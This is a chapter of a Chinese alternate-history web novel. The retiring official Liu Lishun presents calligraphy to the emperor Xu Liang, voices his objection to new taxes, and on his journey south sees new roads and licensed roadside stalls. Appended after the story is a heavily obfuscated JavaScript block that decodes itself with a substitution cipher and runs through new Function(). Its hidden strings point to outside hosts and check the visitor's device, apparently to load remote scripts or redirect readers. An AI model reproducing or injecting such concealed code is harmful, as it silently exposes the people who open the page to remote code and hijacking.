对于燕京城的政务变动可能稍显缓慢,但是防务的变动,却非常迅速。 堪堪至四月三十日,北京城城防便正式移交给顺天府巡检司,治安归于新成立的顺天府警察厅,市容环卫归于顺天府,消防安全也暂时由巡检司兼管。原来的五城兵马司因此被肢解成了数块,再次退出历史舞台。 新二师收复蓟镇,整军进发永平四镇,摆出进攻山海关的姿态,不让清军两红旗赶往宁远支援两白旗。 新三师击溃了居庸关之敌,一路东进,收复长城各峪口,直打到密云。 由此京师才算是彻底安定下来,由新三师对京师外围进行保护。第一师照计划是要攻克山海关,然后与第二师前后夹击东虏两白旗。 徐梁目前对于战事有所担心的,也只有处于敌后的新一师。若是东虏倾国之力,从锦州再打过来,新一师要守住宁远恐怕也要付出极重的伤亡。 不过在此之前,重要的是加紧国家制度改革,扩大动员能力,这才是根本之法。徐梁一早起来的时候有些昏沉,身子很重。叫来御医把了脉象,乃是湿热淤积之症,除了排湿解热也没甚要紧的事。想想马上就要到端午了,古人称之为毒日,多半是节气的作用,便也不叫皇后知道。 直到过了早朝,徐梁人才精神了一些,自己步行前往文华殿,舍人们已经准备好了一大筐名牌,都是请求召见的官员…… 中书舍人在明代并无长贰官,只有一名资深年迈的老舍人,掌管印信,称为“印君”。 如今的印君自然是柳如是。她早已摸透了徐梁的工作习惯,合理安排人员入见。她见陛下一早上有些精神萎靡,想来这天有些闷热了,连忙让人去问:刘理顺是否来了。 刘理顺是前一天递的名牌,安排在今日早间十点入见。按照陛下的习惯,官员来了之后最多只会等三五分钟。若是徐梁临时有事,绝对会让人去将后面的安排改期,而不会抛诸脑后,让大臣们傻等。 还好刘理顺来内阁找李邦华,有舍人告诉了柳如是,便将他排在了最前面,安排觐见。 徐梁并不知道柳如是有意变动顺序,只是觉得恰恰好。 刘理顺也不多说自己提前觐见的事,只是唱礼入见,道:“陛下,臣将书画带来了。” 徐梁端详了半响,命内侍当即拿去挂起来,仰头又读了一遍。笑道:“还好先生来时已经裱好了,否则我真是舍不得拿去给人装裱。此书必成华夏国宝,待我死后才能捐与博物馆收藏。” 刘理顺见徐梁喜欢自己的字,当然也是欣喜不已。别人说他的字好,其中真假参半,或是因为他的官职高,或是因为文名盛。惟独这位陛下,从不讲究皮里春秋的一套。有才干者待之如亲友,不入眼的弃之如敝履。他说喜欢、说字好。肯定是真的投缘。 何况如今陛下的书法拿出去也算是一流书家,隐约中的确是能见作品的神韵,这更是身为人师的骄傲。 徐梁又打开刘理顺送来的一副山水手卷,天头用了深色绫绢镶成,一眼之下古意盎然。过了副、正隔水便是引首。上面颜楷浓书:是清风月明之庐。 再过了隔水便是画心,一幅远山近松,风摇枝摆;一幅山水夹道,隐士拾阶;一幅鸟瞰山水,却是眼熟,正仿的前人山水名作。 “这仿的是高克恭的《云横秀岭图》?”徐梁问道。 “正是。”刘理顺在字上不屑于仿照前人,笔笔求新,画上却多有仿作,但又有能出奇制胜,在意、韵上多有胜出。 徐梁继续卷开,却止这三幅,后面的拖尾用了古旧的宣纸,是留给观赏者题词用的。 “这手卷正好放在案头时时把玩,先生有心了。”徐梁笑道。 刘理顺也笑道:“还请陛下题词。” “如此岂非正应了‘狗尾续貂’之言?” 徐梁对自己的书法还是有自信的,但得看放在那里。 “臣不敢有瞒陛下,此画并非呈进于陛下。”刘理顺见徐梁高兴,便大大方方道:“臣另有一幅《竹石图》欲进,此画乃是恳请陛下手书诗词,留给子孙的。” “这、我若是已命内侍收了呢?”徐梁握着手卷不放。 “臣会及时提醒陛下的。”刘理顺认真且期待道。他是徐梁做皇帝之后在文学方面的讲师,亦是当初神都告破,与徐梁逃亡山东的一行文臣。 别人不能求字,他却可以。照惯例来说,就算他不求,徐梁也该主动些,即便是天家之尊也不能轻慢师道。 “我的字与先生的字已经差了十万八千里。若是题古人诗,何止自曝其短,简直恬不知耻了。”徐梁也来了兴致,再次展开手卷,犹豫道:“若是自己作诗,便更是献丑。” 刘理顺也不肯走,只是笑吟吟地看着徐梁。 徐梁硬着头皮命人研墨,三幅画又赏了片刻,似有若无地摸到了其中灵韵,方才舔笔写道:“蒙师正教,赠阅山水华章,敢以拙笔陪骥尾之后,特制诗曰: ‘风来松有语,水溅石阶残。 鹤子今飞远,梅妻尚且安。’” 徐梁一气写完,自己先读了一遍,恍然大悟:刘理顺并非是要带回去留给子孙,而是借此画来表达自己辞官归隐的意思啊! “是我终究太过浑浊,竟没看出先生雅意,贸然玷此佳作。”徐梁随手写了“徐梁”二字算是押款,声音已经冷了下来。 刘理顺本来没指望陛下能够立时明白过来,颇为惊讶徐梁的悟性,道:“臣已年迈不堪驱使,惟愿归隐林泉,听松语,看残阶,梅妻鹤子终此一生。” 徐梁真的有些遗憾。刘理顺虽然不是救时之臣,也没有李邦华那般腹里河山,但终究是个志向高洁的仁人君子。这样的人在朝中,虽然不能指望办实事,但可以用作清流,监督言路,并非百无一用。 “我看过先生的往日行事,绝非退隐自娱之人。是听到什么风声了么?”徐梁放下笔,重新回到工作状态。他能推理的逻辑就是:刘理顺原本是户部尚书,后来程贤架空,现在风闻他要官复原职,而自己这边却毫无动静,因此才有了求退之心。 “的确略有耳闻。”刘理顺也不避讳:“臣听闻陛下要重财赋,广开源,实在忧虑。有甲申之变在前,臣不敢相阻。然聚敛之事,臣亦不忍为之。故求去。” 徐梁突然无比疲惫。 刘理顺是做过户部尚书的人,对于国家财政的窘困一清二楚。他既然说不敢相阻,肯定是心里明白:如果阻拦陛下开源,国家势必再次破败下去,甲申之事或许重演。然而他心中如此明白,却还是认为广开财源、增加国税是聚敛虐民之事,不忍心为此。由此可见天下人会如何看待新的政治改革。 ——我还是太急躁了么? 徐梁一时口干舌燥,随手端起茶缸喝了一口浓茶,胸襟方才舒缓一些。正待说话,一旁内侍却高声宣退了。 刘理顺取了手卷,告退而出,临走时终于忍不住又道:“陛下,若要天下太平,只需得休养生息,纾解民乏。此时强征暴敛,无异于饮鸩止渴啊!”说罢双眼朦胧,已经是泪光透射。 徐梁也无从辩解,只是道:“先生若是能在京中再留数月,路上便好走得多了。” 刘理顺拜辞而出,恐怕再留一刻眼泪就要出来了。 徐梁侧首又看了一遍那幅墨宝,挺了挺腰,唤来柳如是:“今日下午开会加一个人,原户部郎中程志也让他来。” 柳如是应声称是,有问道:“是列席还是旁听?” “旁听。”徐梁道:“另外,让邵一峰来一下。” 柳如是退了出去,邵一峰很快就戎装入内,拜见徐梁。 徐梁从书案上取出一个紫檀木盒,交给闵子若道:“这是给骑兵营的密令,这就传下去。” 军中有明令有密令,密令也必须经过军令部传发,直到相关战事结束才收录归档。在此过程中,只有军法官在执行期间发现与现行军法相悖,才能要求主官出示秘密手令,并且必须严格保密。 徐梁这道密令已经放了良久,以至于盒子上都有了包浆,正是受了刘理顺的劝告,才促使他将这道密令拿出来付诸执行。 一家哭,总好过一路哭。 一路哭,总好过天下哭。 这便是两害相权取其轻的道理。刘理顺在京中辞别了几个故友,收拾了行装,悄然南下。 如今京师中仍旧混乱纷纷,甄别降官、跑官说情的人一波接着一波。 刘理顺至今没有拿到任用文书,擅自离去倒也不算罪过。只是他不知道陛下有自己的耳目体系,若是关心什么事,怎么都逃不过的。他车马还没出正阳门,宫中送行的宦官已经追了上来,送了一辆购车凭证。 凭着这纸购车凭证,可以在南北两京买到原价的四轮马车。 如今马车的出厂价与最终的市场价相差近十倍,故而刘理顺就算自家不买,转手出去也是一笔巨资。只是徐梁也知道明人士大夫的习惯,刘理顺最可能的举措是将这纸凭证装裱之后收藏起来,以示天恩眷顾。若是要买车,还会出去用高价买,又不差那几个钱。 刘理顺仍旧是乘老式马车南下,如今漕运尚未疏浚,直到过了临清才能改走运河水路。只是今年的五月似乎比往年热了许多,正午时竟然晒得车夫和骡马不能赶路。相比往年软绵无力的太阳,今年的日头似乎格外强烈。 车厢里的刘理顺盘膝而坐,道袍一丝不苟地穿在身上,只是头上没有戴冠,只罩着网巾。饶是他口鼻观心,怡神静养,仍旧有毛毛细汗从额头和鬓角里渗了出来。还好他身材精瘦,若是换胖些的人恐怕怎么都熬不住。 “老爷,咱们在前头歇歇脚吧,这骡子都吃不消了。”老家人赶着车,口舌冒烟,恨不得当场就停下来休息。 刘理顺尚未答复,就听得大地轰隆作响,如同惊雷。他倒没有惊慌,这已经是一路而来的第四波兵马了。 老家人连忙赶了车靠边停下,让这队人马先走。 刘理顺探出头来,只觉得外面还有些微风。比车里清爽。他望向那些骑兵,一个个甲胄鲜明,目不斜视,尤其难得的是如此大队人马疾行赶路,所有马头竟然齐平,完全不似曾经见过的马军:乌泱泱一窝蜂。 刘理顺有些轻微的强迫症,看到这马队,忍不住地点算起人头来。只见马队五骑一排,共有二十三排,从头到尾有军官有士卒。皆是神情肃穆。无骄躁之气。无嗜杀之状。每排靠右首皆有持旗军官,在越过刘理顺马车时都要压一压旗,马步自然就慢了一些,扬起的飞尘也不算太高。 刘理顺下意识地看向自家车头。果然没有打出官牌勘合,实在不知道为何这些马兵会做出这番举动。若说他们之中有人认出了自己,那为何不下马相见呢? “啧啧,这些人马又是调往北边去的。”老家人叹道:“都说陛下是紫薇大帝转世,果然不假,否则哪里来这么许多天兵天将。” “前头歇歇吧。” 刘理顺蒙了风尘,只觉得浑身不舒服。只有找个驿站洗漱更衣。他的洁癖是自幼养成,那时候别说自己身上脏,就连别人身上脏都看不下去。记得万历壬子年的时候,他去张岱家的砎园游园,看到有人一口浓痰吐在池中。旋即被一头鲤鱼吞了,于是再不吃鱼。 老家人总算涌起了力气,等骑兵过尽,连忙赶着骡车朝前赶路。 刘理顺本来还想再躲回车里,但身上出了汗,又被尘土一蒙,简直痛不欲生。也只有把心一横,索性钻出来,就着行车时带起的风,人才舒爽些。 坐到了外面之后,刘理顺才发现这条官道已经是面目全非。非但夯土垒实,而且重车行过竟然没有车辙,只留下两行淡淡土印。难怪这一路行来倒也不算颠簸,甚至能在车里打坐静修。 笔直的官道两旁是今春开垦的农田,也不像几年前入京时看到的那般杂乱,一块块画得十分整齐。虽然烈日当空,地里仍旧有人劳作。也不知是何缘故,田地之间种了些小树,似乎是用来划界。 ——真是无官一身轻,随驾回京的时候怎就不曾见到这等田园风光? 刘理顺暗中自嘲,远远看到有炊烟腾起,恍惚又回到了万历升平之世。 “大官人,贵老爷,这里有坐!” 骡车前行,渐渐近了村落。此时正当白日,道路两旁多有凉棚,附近的村妇在此地烧些热水粗食,供应往来商旅。这也是运河堵塞之后的新活计,南来北往的客商只能走陆路入京,增添了不少商机。 只是现在北直还是满目疮痍不曾恢复,商旅并不算多。若是再过两年,运河疏浚之后,也没那么多人走陆路了。 妇人沿街叫卖,兴致颇高,喊得两句又与村中熟人扬声嬉闹,绝没有一丝愁容。 刘理顺生性好洁,近乎成癖,自然是不愿吃她们贩卖的吃食茶水。老家人却是已经有些熬不住等到前面的驿站,挥鞭也变得轻慢起来。 “这就儿先坐坐吧。”刘理顺体贴他跟了自己十余年,尽力挑了一处茅棚茶肆,看起来还算干净。 那老家人如蒙大赦,笑呵呵地赶着骡车过去。 刘理顺下了车,先看了一眼这茅棚,只见顶上铺着干黄的芦草,周围一圈以苇席环绕,倒是能遮阳防尘。又用一颗碗口粗的松木做了支柱,上面挂着菖蒲,散发出阵阵清香,吸入肺中登时一片清凉。 “店家,快打些水来与我家老爷清洗。”老家人一边解开骡车,一边扬声叫道。 一个三十开外的村妇快步从隔壁家的茶肆上小跑回来,未语先笑道:“哎呀呀,这位员外老爷真是好眼光!这里五七家茶肆饭铺只我家是有执照的,一应用具县里都要有人来查,碗筷菜饭都是洗得最清爽的。” 刘理顺等家人擦扫了竹椅方才坐下,双手自然放在腿上,等家人把桌子擦出来。 老家人边麻利干活,边道:“你这妇人好不省事,我家老爷岂止是个员外?我家……” “咳咳。”刘理顺不打官牌,就是不想让人知道自己身份,岂有跟个村妇泄露的道理? 那村妇只是一惊,见这对主仆不报家门,也不敢多问,只是言语间小心了许多,之前张扬的笑容也收敛起来。她道:“老爷是要用些什么?小妇人这儿的菜都自家重的,井水里洗得干干净净,就是肉食也有两三种,也料理得十分干净。” “有什么酒?”老家人嗜酒,仗着资深,也就径直问了出来。 刘理顺倒是不介意他喝点小酒,但现在国家新复,还有许多地方饿死人的,哪里来的粮食酿酒? “吓,县里若是查到有人酿私酒是要抓去修路的,”那妇人一脸惊恐,转而又低声笑道,“不过有家做的生醪糟,也是极解渴的。” “先端一桶来。”老家人当即道:“再有干净的肉食、青菜,且都端上来。” 那妇人见这家人气势不小,却在正主面前毕恭毕敬,侍立点菜,可知那正主也是来头不小。想世人以“员外”为尊称,已经是摸着天的奉承了,这位老爷竟然比员外更高,不知是什么来头。 只一会儿功夫,妇人在棚子后头就治办出三素两荤一个汤来,又盛了最好的米饭要端上桌。倪家家人一路都盯着看,最后还是他端上去伺候刘理顺用餐。 刘理顺已经擦洗了一番,喝了醪糟,精神好了许多。他吃了一口菜,觉得咸淡也还合适,便道:“不用伺候了,你自去吃。” 老家人这才在不远处的桌子上坐了,只有两个素菜,先咕嘟咕嘟灌了两大口的醪糟,方才动筷子吃饭。约莫小半盏茶的功夫,刘理顺已经吃用好了。 两盘肉菜几乎没动,和剩下的菜、汤一道都端去了老家人那桌。 村妇从未见过大户人家的规矩,心中暗暗咋舌:原来还真有比曹大户家更讲究的人家! 轮到会钞的时候,村妇自然知道不要去打扰那位静坐养神的老爷,走到老家人面前低声问道:“我这儿粮票也收得,银子也收得,不知尊客怎么方便?” “制钱收得不?” “制钱……那就得看看了。”村妇一听老家人要给制钱,顿时简慢起来:“若是十八年后的山东制钱,倒也收得。这一餐饭食尊客给个两百钱也就是了。” “恁贵!” “若是给银子只要四分。”村妇连忙道:“您也看着后面做的,整只的大肥母鸡、又是半只鸭子,青菜、笋子都不去算他,上好的白米饭都用了大半斤呢!光这醪糟是贱货么?尊客啊,这真不贵了。” 老家人算算账要是早年间这餐饭下来怕是要七八分银子去了,的确不算贵。 “尊客啊,我们这是有执照的,东西干净,价格公道,哎哎,您看,这不县里又来人查了么?” 村妇说着手中一指,果然见到个年轻人顶着日头过来,骑驴而来。那年轻人看起来不过十七八岁,须都未长硬,只能算是一圈软毛。“刘官人!今日却来得早!” 村妇暂时放了收钱的事,扬笑着迎了上去。那姓刘的官人到了棚子前,见到里面有客人,又见刘理顺气质非凡,也不靠近,只是远远略施半礼。刘理顺看似老僧入定一般,却拱手还礼,显然也是从眼缝里看到了。 “巧儿姐,昨日生意如何?”那刘官人边问着,边掏出硬皮本子和炭笔,做出记录的模样。那巧儿姐回到棚子里,翻出一本天书似的账簿,一一报说昨日的生意。 这两人一个说一个记,倒让刘理顺大为吃惊。从这妇人说的“执照”开始,刘理顺就知道这家棚子要比其他人家贵许多。 大明那么多执照,哪一个不要钱?现在见有县里小吏前来登记买卖,显然是要按钱抽分的意思。 怪就怪在这店主却没有丝毫排斥,既不哭穷叫苦,也毫不遮掩,反倒是生怕小吏记得少了一般。 不一时,那吴姓小吏就记完了昨日的生意,又往棚子后面去翻看锅碗瓢盆是否洗得干净;肉、菜是否分开陈放;周围有无牛马猫狗……等一切都看完了,便要上驴赶路。 巧儿姐拉住道:“今日怎么也得喝口水再走!” 小吏一脸苦笑,轻拍腰间椰瓢:“姐姐,一口水与你我是小事,与官家是大事。今日一口水,明日一口酒,后日就是一口肉……你供不起,我也吃不起,还是罢了吧。” “偏你守规矩,”巧儿姐笑着又跑回棚子后面。提了个布袋就往驴头上套,“这驴不是你家的,我喂它两口豆子不是罪过吧。” “这是公家的,你既喂了它,也算是乐捐吧。”吴小吏止不住驴这吃货,只好苦笑道:“可惜我没凭证给你。免不了税的。” 巧儿姐咯咯笑道:“不要你免。”刘理顺越发听不懂了,轻咳一声,示意老家人过来。 老家人也在一旁听着有些怪异,得了主家吩咐,顺势上前道:“叨扰,叨扰。这里记录买卖,可是为了收税么?” 那吴小吏登时换上了一脸肃容,正色道:“老丈,这里记录买卖却不是收税的。而是记录往来客流多寡。为日后修路做些预备。” “若是走的人多,这路就又宽又硬,若是走得人少,路也就窄些。” 巧儿姐一旁解释道:“不过官府也说了,若是一年能做到五十两银子开外,就由官府出钱给我搭个屋子。” 老家人哦了一声,道:“倒也不多。” “吓!不多?”巧儿姐忍不住叫道:“五十两啊!要是您这样的豪客三天两头来一回,倒是不多。我这小棚子虽然每天能开张。但多是一两文钱的茶水生意,要做五十两得多少客人?” 老家人心中一算。果然如此,是自己失言了。他也不争,呵呵笑着昏了过去,又拱手道:“承教,承教。”
!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();